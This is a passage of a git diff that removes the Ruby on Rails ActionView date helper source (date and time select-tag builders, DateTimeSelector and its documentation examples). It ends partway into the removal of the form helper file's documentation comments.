-      #   datetime_select("article", "written_on", start_year: 1995)
-      #
-      #   # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will
-      #   # be stored in the trip variable in the departing attribute.
-      #   datetime_select("trip", "departing", default: 3.days.from_now)
-      #
-      #   # Generate a datetime select with hours in the AM/PM format
-      #   datetime_select("article", "written_on", ampm: true)
-      #
-      #   # Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable
-      #   # as the written_on attribute.
-      #   datetime_select("article", "written_on", discard_type: true)
-      #
-      #   # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
-      #   datetime_select("article", "written_on", prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
-      #   datetime_select("article", "written_on", prompt: {hour: true}) # generic prompt for hours
-      #   datetime_select("article", "written_on", prompt: true) # generic prompts for all
-      #
-      # The selects are prepared for multi-parameter assignment to an Active Record object.
-      def datetime_select(object_name, method, options = {}, html_options = {})
-        Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
-      end
-
-      # Returns a set of html select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
-      # +datetime+. It's also possible to explicitly set the order of the tags using the <tt>:order</tt> option with
-      # an array of symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order. If you do not
-      # supply a Symbol, it will be appended onto the <tt>:order</tt> passed in. You can also add
-      # <tt>:date_separator</tt>, <tt>:datetime_separator</tt> and <tt>:time_separator</tt> keys to the +options+ to
-      # control visual display of the elements.
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      #   my_date_time = Time.now + 4.days
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today).
-      #   select_datetime(my_date_time)
-      #
-      #   # Generates a datetime select that defaults to today (no specified datetime)
-      #   select_datetime()
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
-      #   # with the fields ordered year, month, day rather than month, day, year.
-      #   select_datetime(my_date_time, order: [:year, :month, :day])
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
-      #   # with a '/' between each date field.
-      #   select_datetime(my_date_time, date_separator: '/')
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
-      #   # with a date fields separated by '/', time fields separated by '' and the date and time fields
-      #   # separated by a comma (',').
-      #   select_datetime(my_date_time, date_separator: '/', time_separator: '', datetime_separator: ',')
-      #
-      #   # Generates a datetime select that discards the type of the field and defaults to the datetime in
-      #   # my_date_time (four days after today)
-      #   select_datetime(my_date_time, discard_type: true)
-      #
-      #   # Generate a datetime field with hours in the AM/PM format
-      #   select_datetime(my_date_time, ampm: true)
-      #
-      #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today)
-      #   # prefixed with 'payday' rather than 'date'
-      #   select_datetime(my_date_time, prefix: 'payday')
-      #
-      #   # Generates a datetime select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
-      #   select_datetime(my_date_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
-      #   select_datetime(my_date_time, prompt: {hour: true}) # generic prompt for hours
-      #   select_datetime(my_date_time, prompt: true) # generic prompts for all
-      def select_datetime(datetime = Time.current, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_datetime
-      end
-
-      # Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+.
-      # It's possible to explicitly set the order of the tags using the <tt>:order</tt> option with an array of
-      # symbols <tt>:year</tt>, <tt>:month</tt> and <tt>:day</tt> in the desired order.
-      # If the array passed to the <tt>:order</tt> option does not contain all the three symbols, all tags will be hidden.
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      #   my_date = Time.now + 6.days
-      #
-      #   # Generates a date select that defaults to the date in my_date (six days after today).
-      #   select_date(my_date)
-      #
-      #   # Generates a date select that defaults to today (no specified date).
-      #   select_date()
-      #
-      #   # Generates a date select that defaults to the date in my_date (six days after today)
-      #   # with the fields ordered year, month, day rather than month, day, year.
-      #   select_date(my_date, order: [:year, :month, :day])
-      #
-      #   # Generates a date select that discards the type of the field and defaults to the date in
-      #   # my_date (six days after today).
-      #   select_date(my_date, discard_type: true)
-      #
-      #   # Generates a date select that defaults to the date in my_date,
-      #   # which has fields separated by '/'.
-      #   select_date(my_date, date_separator: '/')
-      #
-      #   # Generates a date select that defaults to the datetime in my_date (six days after today)
-      #   # prefixed with 'payday' rather than 'date'.
-      #   select_date(my_date, prefix: 'payday')
-      #
-      #   # Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
-      #   select_date(my_date, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
-      #   select_date(my_date, prompt: {hour: true}) # generic prompt for hours
-      #   select_date(my_date, prompt: true) # generic prompts for all
-      def select_date(date = Date.current, options = {}, html_options = {})
-        DateTimeSelector.new(date, options, html_options).select_date
-      end
-
-      # Returns a set of html select-tags (one for hour and minute).
-      # You can set <tt>:time_separator</tt> key to format the output, and
-      # the <tt>:include_seconds</tt> option to include an input for seconds.
-      #
-      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
-      #
-      #   my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
-      #
-      #   # Generates a time select that defaults to the time in my_time.
-      #   select_time(my_time)
-      #
-      #   # Generates a time select that defaults to the current time (no specified time).
-      #   select_time()
-      #
-      #   # Generates a time select that defaults to the time in my_time,
-      #   # which has fields separated by ':'.
-      #   select_time(my_time, time_separator: ':')
-      #
-      #   # Generates a time select that defaults to the time in my_time,
-      #   # that also includes an input for seconds.
-      #   select_time(my_time, include_seconds: true)
-      #
-      #   # Generates a time select that defaults to the time in my_time, that has fields
-      #   # separated by ':' and includes an input for seconds.
-      #   select_time(my_time, time_separator: ':', include_seconds: true)
-      #
-      #   # Generate a time select field with hours in the AM/PM format
-      #   select_time(my_time, ampm: true)
-      #
-      #   # Generates a time select field with hours that range from 2 to 14
-      #   select_time(my_time, start_hour: 2, end_hour: 14)
-      #
-      #   # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
-      #   select_time(my_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
-      #   select_time(my_time, prompt: {hour: true}) # generic prompt for hours
-      #   select_time(my_time, prompt: true) # generic prompts for all
-      def select_time(datetime = Time.current, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_time
-      end
-
-      # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
-      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
-      # Override the field name using the <tt>:field_name</tt> option, 'second' by default.
-      #
-      #   my_time = Time.now + 16.minutes
-      #
-      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time.
-      #   select_second(my_time)
-      #
-      #   # Generates a select field for seconds that defaults to the number given.
-      #   select_second(33)
-      #
-      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time
-      #   # that is named 'interval' rather than 'second'.
-      #   select_second(my_time, field_name: 'interval')
-      #
-      #   # Generates a select field for seconds with a custom prompt. Use <tt>prompt: true</tt> for a
-      #   # generic prompt.
-      #   select_second(14, prompt: 'Choose seconds')
-      def select_second(datetime, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_second
-      end
-
-      # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
-      # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
-      # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
-      # Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
-      #
-      #   my_time = Time.now + 6.hours
-      #
-      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time.
-      #   select_minute(my_time)
-      #
-      #   # Generates a select field for minutes that defaults to the number given.
-      #   select_minute(14)
-      #
-      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time
-      #   # that is named 'moment' rather than 'minute'.
-      #   select_minute(my_time, field_name: 'moment')
-      #
-      #   # Generates a select field for minutes with a custom prompt. Use <tt>prompt: true</tt> for a
-      #   # generic prompt.
-      #   select_minute(14, prompt: 'Choose minutes')
-      def select_minute(datetime, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_minute
-      end
-
-      # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
-      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
-      # Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
-      #
-      #   my_time = Time.now + 6.hours
-      #
-      #   # Generates a select field for hours that defaults to the hour for the time in my_time.
-      #   select_hour(my_time)
-      #
-      #   # Generates a select field for hours that defaults to the number given.
-      #   select_hour(13)
-      #
-      #   # Generates a select field for hours that defaults to the hour for the time in my_time
-      #   # that is named 'stride' rather than 'hour'.
-      #   select_hour(my_time, field_name: 'stride')
-      #
-      #   # Generates a select field for hours with a custom prompt. Use <tt>prompt: true</tt> for a
-      #   # generic prompt.
-      #   select_hour(13, prompt: 'Choose hour')
-      #
-      #   # Generate a select field for hours in the AM/PM format
-      #   select_hour(my_time, ampm: true)
-      #
-      #   # Generates a select field that includes options for hours from 2 to 14.
-      #   select_hour(my_time, start_hour: 2, end_hour: 14)
-      def select_hour(datetime, options = {}, html_options = {})
-        DateTimeSelector.new(datetime, options, html_options).select_hour
-      end
-
-      # Returns a select tag with options for each of the days 1 through 31 with the current day selected.
-      # The <tt>date</tt> can also be substituted for a day number.
-      # If you want to display days with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
-      # Override the field name using the <tt>:field_name</tt> option, 'day' by default.
-      #
-      #   my_date = Time.now + 2.days
-      #
-      #   # Generates a select field for days that defaults to the day for the date in my_date.
-      #   select_day(my_date)
-      #
-      #   # Generates a select field for days that defaults to the number given.
-      #   select_day(5)
-      #
-      #   # Generates a select field for days that defaults to the number given, but displays it with two digits.
-      #   select_day(5, use_two_digit_numbers: true)
-      #
-      #   # Generates a select field for days that defaults to the day for the date in my_date
-      #   # that is named 'due' rather than 'day'.
-      #   select_day(my_date, field_name: 'due')
-      #
-      #   # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
-      #   # generic prompt.
-      #   select_day(5, prompt: 'Choose day')
-      def select_day(date, options = {}, html_options = {})
-        DateTimeSelector.new(date, options, html_options).select_day
-      end
-
-      # Returns a select tag with options for each of the months January through December with the current month
-      # selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
-      # used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
-      # instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
-      # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
-      # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
-      # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
-      # If you want to display months with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
-      # Override the field name using the <tt>:field_name</tt> option, 'month' by default.
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "January", "March".
-      #   select_month(Date.today)
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # is named "start" rather than "month".
-      #   select_month(Date.today, field_name: 'start')
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "1", "3".
-      #   select_month(Date.today, use_month_numbers: true)
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "1 - January", "3 - March".
-      #   select_month(Date.today, add_month_numbers: true)
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "Jan", "Mar".
-      #   select_month(Date.today, use_short_month: true)
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys like "Januar", "Marts."
-      #   select_month(Date.today, use_month_names: %w(Januar Februar Marts ...))
-      #
-      #   # Generates a select field for months that defaults to the current month that
-      #   # will use keys with two digit numbers like "01", "03".
-      #   select_month(Date.today, use_two_digit_numbers: true)
-      #
-      #   # Generates a select field for months with a custom prompt. Use <tt>prompt: true</tt> for a
-      #   # generic prompt.
-      #   select_month(14, prompt: 'Choose month')
-      def select_month(date, options = {}, html_options = {})
-        DateTimeSelector.new(date, options, html_options).select_month
-      end
-
-      # Returns a select tag with options for each of the five years on each side of the current, which is selected.
-      # The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
-      # +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
-      # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
-      # Override the field name using the <tt>:field_name</tt> option, 'year' by default.
-      #
-      #   # Generates a select field for years that defaults to the current year that
-      #   # has ascending year values.
-      #   select_year(Date.today, start_year: 1992, end_year: 2007)
-      #
-      #   # Generates a select field for years that defaults to the current year that
-      #   # is named 'birth' rather than 'year'.
-      #   select_year(Date.today, field_name: 'birth')
-      #
-      #   # Generates a select field for years that defaults to the current year that
-      #   # has descending year values.
-      #   select_year(Date.today, start_year: 2005, end_year: 1900)
-      #
-      #   # Generates a select field for years that defaults to the year 2006 that
-      #   # has ascending year values.
-      #   select_year(2006, start_year: 2000, end_year: 2010)
-      #
-      #   # Generates a select field for years with a custom prompt. Use <tt>prompt: true</tt> for a
-      #   # generic prompt.
-      #   select_year(14, prompt: 'Choose year')
-      def select_year(date, options = {}, html_options = {})
-        DateTimeSelector.new(date, options, html_options).select_year
-      end
-
-      # Returns an html time tag for the given date or time.
-      #
-      #   time_tag Date.today  # =>
-      #     <time datetime="2010-11-04">November 04, 2010</time>
-      #   time_tag Time.now  # =>
-      #     <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>
-      #   time_tag Date.yesterday, 'Yesterday'  # =>
-      #     <time datetime="2010-11-03">Yesterday</time>
-      #   time_tag Date.today, pubdate: true  # =>
-      #     <time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>
-      #   time_tag Date.today, datetime: Date.today.strftime('%G-W%V') # =>
-      #     <time datetime="2010-W44">November 04, 2010</time>
-      #
-      #   <%= time_tag Time.now do %>
-      #     <span>Right now</span>
-      #   <% end %>
-      #   # => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time>
-      def time_tag(date_or_time, *args, &block)
-        options  = args.extract_options!
-        format   = options.delete(:format) || :long
-        content  = args.first || I18n.l(date_or_time, :format => format)
-        datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601
-
-        content_tag(:time, content, options.reverse_merge(:datetime => datetime), &block)
-      end
-    end
-
-    class DateTimeSelector #:nodoc:
-      include ActionView::Helpers::TagHelper
-
-      DEFAULT_PREFIX = 'date'.freeze
-      POSITION = {
-        :year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6
-      }.freeze
-
-      AMPM_TRANSLATION = Hash[
-        [[0, "12 AM"], [1, "01 AM"], [2, "02 AM"], [3, "03 AM"],
-         [4, "04 AM"], [5, "05 AM"], [6, "06 AM"], [7, "07 AM"],
-         [8, "08 AM"], [9, "09 AM"], [10, "10 AM"], [11, "11 AM"],
-         [12, "12 PM"], [13, "01 PM"], [14, "02 PM"], [15, "03 PM"],
-         [16, "04 PM"], [17, "05 PM"], [18, "06 PM"], [19, "07 PM"],
-         [20, "08 PM"], [21, "09 PM"], [22, "10 PM"], [23, "11 PM"]]
-      ].freeze
-
-      def initialize(datetime, options = {}, html_options = {})
-        @options      = options.dup
-        @html_options = html_options.dup
-        @datetime     = datetime
-        @options[:datetime_separator] ||= ' — '
-        @options[:time_separator]     ||= ' : '
-      end
-
-      def select_datetime
-        order = date_order.dup
-        order -= [:hour, :minute, :second]
-        @options[:discard_year]   ||= true unless order.include?(:year)
-        @options[:discard_month]  ||= true unless order.include?(:month)
-        @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
-        @options[:discard_minute] ||= true if @options[:discard_hour]
-        @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
-
-        set_day_if_discarded
-
-        if @options[:tag] && @options[:ignore_date]
-          select_time
-        else
-          [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
-          order += [:hour, :minute, :second] unless @options[:discard_hour]
-
-          build_selects_from_types(order)
-        end
-      end
-
-      def select_date
-        order = date_order.dup
-
-        @options[:discard_hour]     = true
-        @options[:discard_minute]   = true
-        @options[:discard_second]   = true
-
-        @options[:discard_year]   ||= true unless order.include?(:year)
-        @options[:discard_month]  ||= true unless order.include?(:month)
-        @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
-
-        set_day_if_discarded
-
-        [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
-
-        build_selects_from_types(order)
-      end
-
-      def select_time
-        order = []
-
-        @options[:discard_month]    = true
-        @options[:discard_year]     = true
-        @options[:discard_day]      = true
-        @options[:discard_second] ||= true unless @options[:include_seconds]
-
-        order += [:year, :month, :day] unless @options[:ignore_date]
-
-        order += [:hour, :minute]
-        order << :second if @options[:include_seconds]
-
-        build_selects_from_types(order)
-      end
-
-      def select_second
-        if @options[:use_hidden] || @options[:discard_second]
-          build_hidden(:second, sec) if @options[:include_seconds]
-        else
-          build_options_and_select(:second, sec)
-        end
-      end
-
-      def select_minute
-        if @options[:use_hidden] || @options[:discard_minute]
-          build_hidden(:minute, min)
-        else
-          build_options_and_select(:minute, min, :step => @options[:minute_step])
-        end
-      end
-
-      def select_hour
-        if @options[:use_hidden] || @options[:discard_hour]
-          build_hidden(:hour, hour)
-        else
-          options         = {}
-          options[:ampm]  = @options[:ampm] || false
-          options[:start] = @options[:start_hour] || 0
-          options[:end]   = @options[:end_hour] || 23
-          build_options_and_select(:hour, hour, options)
-        end
-      end
-
-      def select_day
-        if @options[:use_hidden] || @options[:discard_day]
-          build_hidden(:day, day || 1)
-        else
-          build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false, :use_two_digit_numbers => @options[:use_two_digit_numbers])
-        end
-      end
-
-      def select_month
-        if @options[:use_hidden] || @options[:discard_month]
-          build_hidden(:month, month || 1)
-        else
-          month_options = []
-          1.upto(12) do |month_number|
-            options = { :value => month_number }
-            options[:selected] = "selected" if month == month_number
-            month_options << content_tag(:option, month_name(month_number), options) + "\n"
-          end
-          build_select(:month, month_options.join)
-        end
-      end
-
-      def select_year
-        if !@datetime || @datetime == 0
-          val = '1'
-          middle_year = Date.today.year
-        else
-          val = middle_year = year
-        end
-
-        if @options[:use_hidden] || @options[:discard_year]
-          build_hidden(:year, val)
-        else
-          options                     = {}
-          options[:start]             = @options[:start_year] || middle_year - 5
-          options[:end]               = @options[:end_year] || middle_year + 5
-          options[:step]              = options[:start] < options[:end] ? 1 : -1
-          options[:leading_zeros]     = false
-          options[:max_years_allowed] = @options[:max_years_allowed] || 1000
-
-          if (options[:end] - options[:start]).abs > options[:max_years_allowed]
-            raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
-          end
-
-          build_options_and_select(:year, val, options)
-        end
-      end
-
-      private
-        %w( sec min hour day month year ).each do |method|
-          define_method(method) do
-            @datetime.kind_of?(Numeric) ? @datetime : @datetime.send(method) if @datetime
-          end
-        end
-
-        # If the day is hidden, the day should be set to the 1st so all month and year choices are
-        # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
-        def set_day_if_discarded
-          if @datetime && @options[:discard_day]
-            @datetime = @datetime.change(:day => 1)
-          end
-        end
-
-        # Returns translated month names, but also ensures that a custom month
-        # name array has a leading nil element.
-        def month_names
-          @month_names ||= begin
-            month_names = @options[:use_month_names] || translated_month_names
-            month_names.unshift(nil) if month_names.size < 13
-            month_names
-          end
-        end
-
-        # Returns translated month names.
-        #  => [nil, "January", "February", "March",
-        #           "April", "May", "June", "July",
-        #           "August", "September", "October",
-        #           "November", "December"]
-        #
-        # If <tt>:use_short_month</tt> option is set
-        #  => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
-        #           "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
-        def translated_month_names
-          key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
-          I18n.translate(key, :locale => @options[:locale])
-        end
-
-        # Lookup month name for number.
-        #  month_name(1) => "January"
-        #
-        # If <tt>:use_month_numbers</tt> option is passed
-        #  month_name(1) => 1
-        #
-        # If <tt>:use_two_month_numbers</tt> option is passed
-        #  month_name(1) => '01'
-        #
-        # If <tt>:add_month_numbers</tt> option is passed
-        #  month_name(1) => "1 - January"
-        def month_name(number)
-          if @options[:use_month_numbers]
-            number
-          elsif @options[:use_two_digit_numbers]
-            sprintf "%02d", number
-          elsif @options[:add_month_numbers]
-            "#{number} - #{month_names[number]}"
-          else
-            month_names[number]
-          end
-        end
-
-        def date_order
-          @date_order ||= @options[:order] || translated_date_order
-        end
-
-        def translated_date_order
-          date_order = I18n.translate(:'date.order', :locale => @options[:locale], :default => [])
-          date_order = date_order.map { |element| element.to_sym }
-
-          forbidden_elements = date_order - [:year, :month, :day]
-          if forbidden_elements.any?
-            raise StandardError,
-              "#{@options[:locale]}.date.order only accepts :year, :month and :day"
-          end
-
-          date_order
-        end
-
-        # Build full select tag from date type and options.
-        def build_options_and_select(type, selected, options = {})
-          build_select(type, build_options(selected, options))
-        end
-
-        # Build select option html from date value and options.
-        #  build_options(15, start: 1, end: 31)
-        #  => "<option value="1">1</option>
-        #      <option value="2">2</option>
-        #      <option value="3">3</option>..."
-        #
-        # If <tt>use_two_digit_numbers: true</tt> option is passed
-        #  build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
-        #  => "<option value="1">01</option>
-        #      <option value="2">02</option>
-        #      <option value="3">03</option>..."
-        #
-        # If <tt>:step</tt> options is passed
-        #  build_options(15, start: 1, end: 31, step: 2)
-        #  => "<option value="1">1</option>
-        #      <option value="3">3</option>
-        #      <option value="5">5</option>..."
-        def build_options(selected, options = {})
-          options = {
-            leading_zeros: true, ampm: false, use_two_digit_numbers: false
-          }.merge!(options)
-
-          start         = options.delete(:start) || 0
-          stop          = options.delete(:end) || 59
-          step          = options.delete(:step) || 1
-          leading_zeros = options.delete(:leading_zeros)
-
-          select_options = []
-          start.step(stop, step) do |i|
-            value = leading_zeros ? sprintf("%02d", i) : i
-            tag_options = { :value => value }
-            tag_options[:selected] = "selected" if selected == i
-            text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value
-            text = options[:ampm] ? AMPM_TRANSLATION[i] : text
-            select_options << content_tag(:option, text, tag_options)
-          end
-
-          (select_options.join("\n") + "\n").html_safe
-        end
-
-        # Builds select tag from date type and html select options.
-        #  build_select(:month, "<option value="1">January</option>...")
-        #  => "<select id="post_written_on_2i" name="post[written_on(2i)]">
-        #        <option value="1">January</option>...
-        #      </select>"
-        def build_select(type, select_options_as_html)
-          select_options = {
-            :id => input_id_from_type(type),
-            :name => input_name_from_type(type)
-          }.merge!(@html_options)
-          select_options[:disabled] = 'disabled' if @options[:disabled]
-          select_options[:class] = type if @options[:with_css_classes]
-
-          select_html = "\n"
-          select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
-          select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
-          select_html << select_options_as_html
-
-          (content_tag(:select, select_html.html_safe, select_options) + "\n").html_safe
-        end
-
-        # Builds a prompt option tag with supplied options or from default options.
-        #  prompt_option_tag(:month, prompt: 'Select month')
-        #  => "<option value="">Select month</option>"
-        def prompt_option_tag(type, options)
-          prompt = case options
-            when Hash
-              default_options = {:year => false, :month => false, :day => false, :hour => false, :minute => false, :second => false}
-              default_options.merge!(options)[type.to_sym]
-            when String
-              options
-            else
-              I18n.translate(:"datetime.prompts.#{type}", :locale => @options[:locale])
-          end
-
-          prompt ? content_tag(:option, prompt, :value => '') : ''
-        end
-
-        # Builds hidden input tag for date part and value.
-        #  build_hidden(:year, 2008)
-        #  => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
-        def build_hidden(type, value)
-          select_options = {
-            :type => "hidden",
-            :id => input_id_from_type(type),
-            :name => input_name_from_type(type),
-            :value => value
-          }.merge!(@html_options.slice(:disabled))
-          select_options[:disabled] = 'disabled' if @options[:disabled]
-
-          tag(:input, select_options) + "\n".html_safe
-        end
-
-        # Returns the name attribute for the input tag.
-        #  => post[written_on(1i)]
-        def input_name_from_type(type)
-          prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
-          prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
-
-          field_name = @options[:field_name] || type
-          if @options[:include_position]
-            field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
-          end
-
-          @options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
-        end
-
-        # Returns the id attribute for the input tag.
-        #  => "post_written_on_1i"
-        def input_id_from_type(type)
-          id = input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
-          id = @options[:namespace] + '_' + id if @options[:namespace]
-
-          id
-        end
-
-        # Given an ordering of datetime components, create the selection HTML
-        # and join them with their appropriate separators.
-        def build_selects_from_types(order)
-          select = ''
-          first_visible = order.find { |type| !@options[:"discard_#{type}"] }
-          order.reverse.each do |type|
-            separator = separator(type) unless type == first_visible # don't add before first visible field
-            select.insert(0, separator.to_s + send("select_#{type}").to_s)
-          end
-          select.html_safe
-        end
-
-        # Returns the separator for a given datetime component.
-        def separator(type)
-          return "" if @options[:use_hidden]
-
-          case type
-            when :year, :month, :day
-              @options[:"discard_#{type}"] ? "" : @options[:date_separator]
-            when :hour
-              (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
-            when :minute, :second
-              @options[:"discard_#{type}"] ? "" : @options[:time_separator]
-          end
-        end
-    end
-
-    class FormBuilder
-      # Wraps ActionView::Helpers::DateHelper#date_select for form builders:
-      #
-      #   <%= form_for @person do |f| %>
-      #     <%= f.date_select :birth_date %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # Please refer to the documentation of the base helper for details.
-      def date_select(method, options = {}, html_options = {})
-        @template.date_select(@object_name, method, objectify_options(options), html_options)
-      end
-
-      # Wraps ActionView::Helpers::DateHelper#time_select for form builders:
-      #
-      #   <%= form_for @race do |f| %>
-      #     <%= f.time_select :average_lap %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # Please refer to the documentation of the base helper for details.
-      def time_select(method, options = {}, html_options = {})
-        @template.time_select(@object_name, method, objectify_options(options), html_options)
-      end
-
-      # Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
-      #
-      #   <%= form_for @person do |f| %>
-      #     <%= f.time_select :last_request_at %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # Please refer to the documentation of the base helper for details.
-      def datetime_select(method, options = {}, html_options = {})
-        @template.datetime_select(@object_name, method, objectify_options(options), html_options)
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb
deleted file mode 100644
index 002c2ae..0000000
--- a/actionpack/lib/action_view/helpers/form_helper.rb
+++ /dev/null
@@ -1,1880 +0,0 @@
-require 'cgi'
-require 'action_view/helpers/date_helper'
-require 'action_view/helpers/tag_helper'
-require 'action_view/helpers/form_tag_helper'
-require 'action_view/helpers/active_model_helper'
-require 'action_view/helpers/tags'
-require 'action_view/model_naming'
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/string/output_safety'
-require 'active_support/core_ext/string/inflections'
-
-module ActionView
-  # = Action View Form Helpers
-  module Helpers
-    # Form helpers are designed to make working with resources much easier
-    # compared to using vanilla HTML.
-    #
-    # Typically, a form designed to create or update a resource reflects the
-    # identity of the resource in several ways: (i) the url that the form is
-    # sent to (the form element's +action+ attribute) should result in a request
-    # being routed to the appropriate controller action (with the appropriate <tt>:id</tt>
-    # parameter in the case of an existing resource), (ii) input fields should
-    # be named in such a way that in the controller their values appear in the
-    # appropriate places within the +params+ hash, and (iii) for an existing record,
-    # when the form is initially displayed, input fields corresponding to attributes
-    # of the resource should show the current values of those attributes.
-    #
-    # In Rails, this is usually achieved by creating the form using +form_for+ and
-    # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
-    # tag and yields a form builder object that knows the model the form is about.
-    # Input fields are created by calling methods defined on the form builder, which
-    # means they are able to generate the appropriate names and default values
-    # corresponding to the model attributes, as well as convenient IDs, etc.
-    # Conventions in the generated field names allow controllers to receive form data
-    # nicely structured in +params+ with no effort on your side.
-    #
-    # For example, to create a new person you typically set up a new instance of
-    # +Person+ in the <tt>PeopleController#new</tt> action, <tt>@person</tt>, and
-    # in the view template pass that object to +form_for+:
-    #
-    #   <%= form_for @person do |f| %>
-    #     <%= f.label :first_name %>:
-    #     <%= f.text_field :first_name %><br />
-    #
-    #     <%= f.label :last_name %>:
-    #     <%= f.text_field :last_name %><br />
-    #
-    #     <%= f.submit %>
-    #   <% end %>
-    #
-    # The HTML generated for this would be (modulus formatting):
-    #
-    #   <form action="/people" class="new_person" id="new_person" method="post">
-    #     <div style="margin:0;padding:0;display:inline">
-    #       <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
-    #     </div>
-    #     <label for="person_first_name">First name</label>:
-    #     <input id="person_first_name" name="person[first_name]" type="text" /><br />
-    #
-    #     <label for="person_last_name">Last name</label>:
-    #     <input id="person_last_name" name="person[last_name]" type="text" /><br />
-    #
-    #     <input name="commit" type="submit" value="Create Person" />
-    #   </form>
-    #
-    # As you see, the HTML reflects knowledge about the resource in several spots,
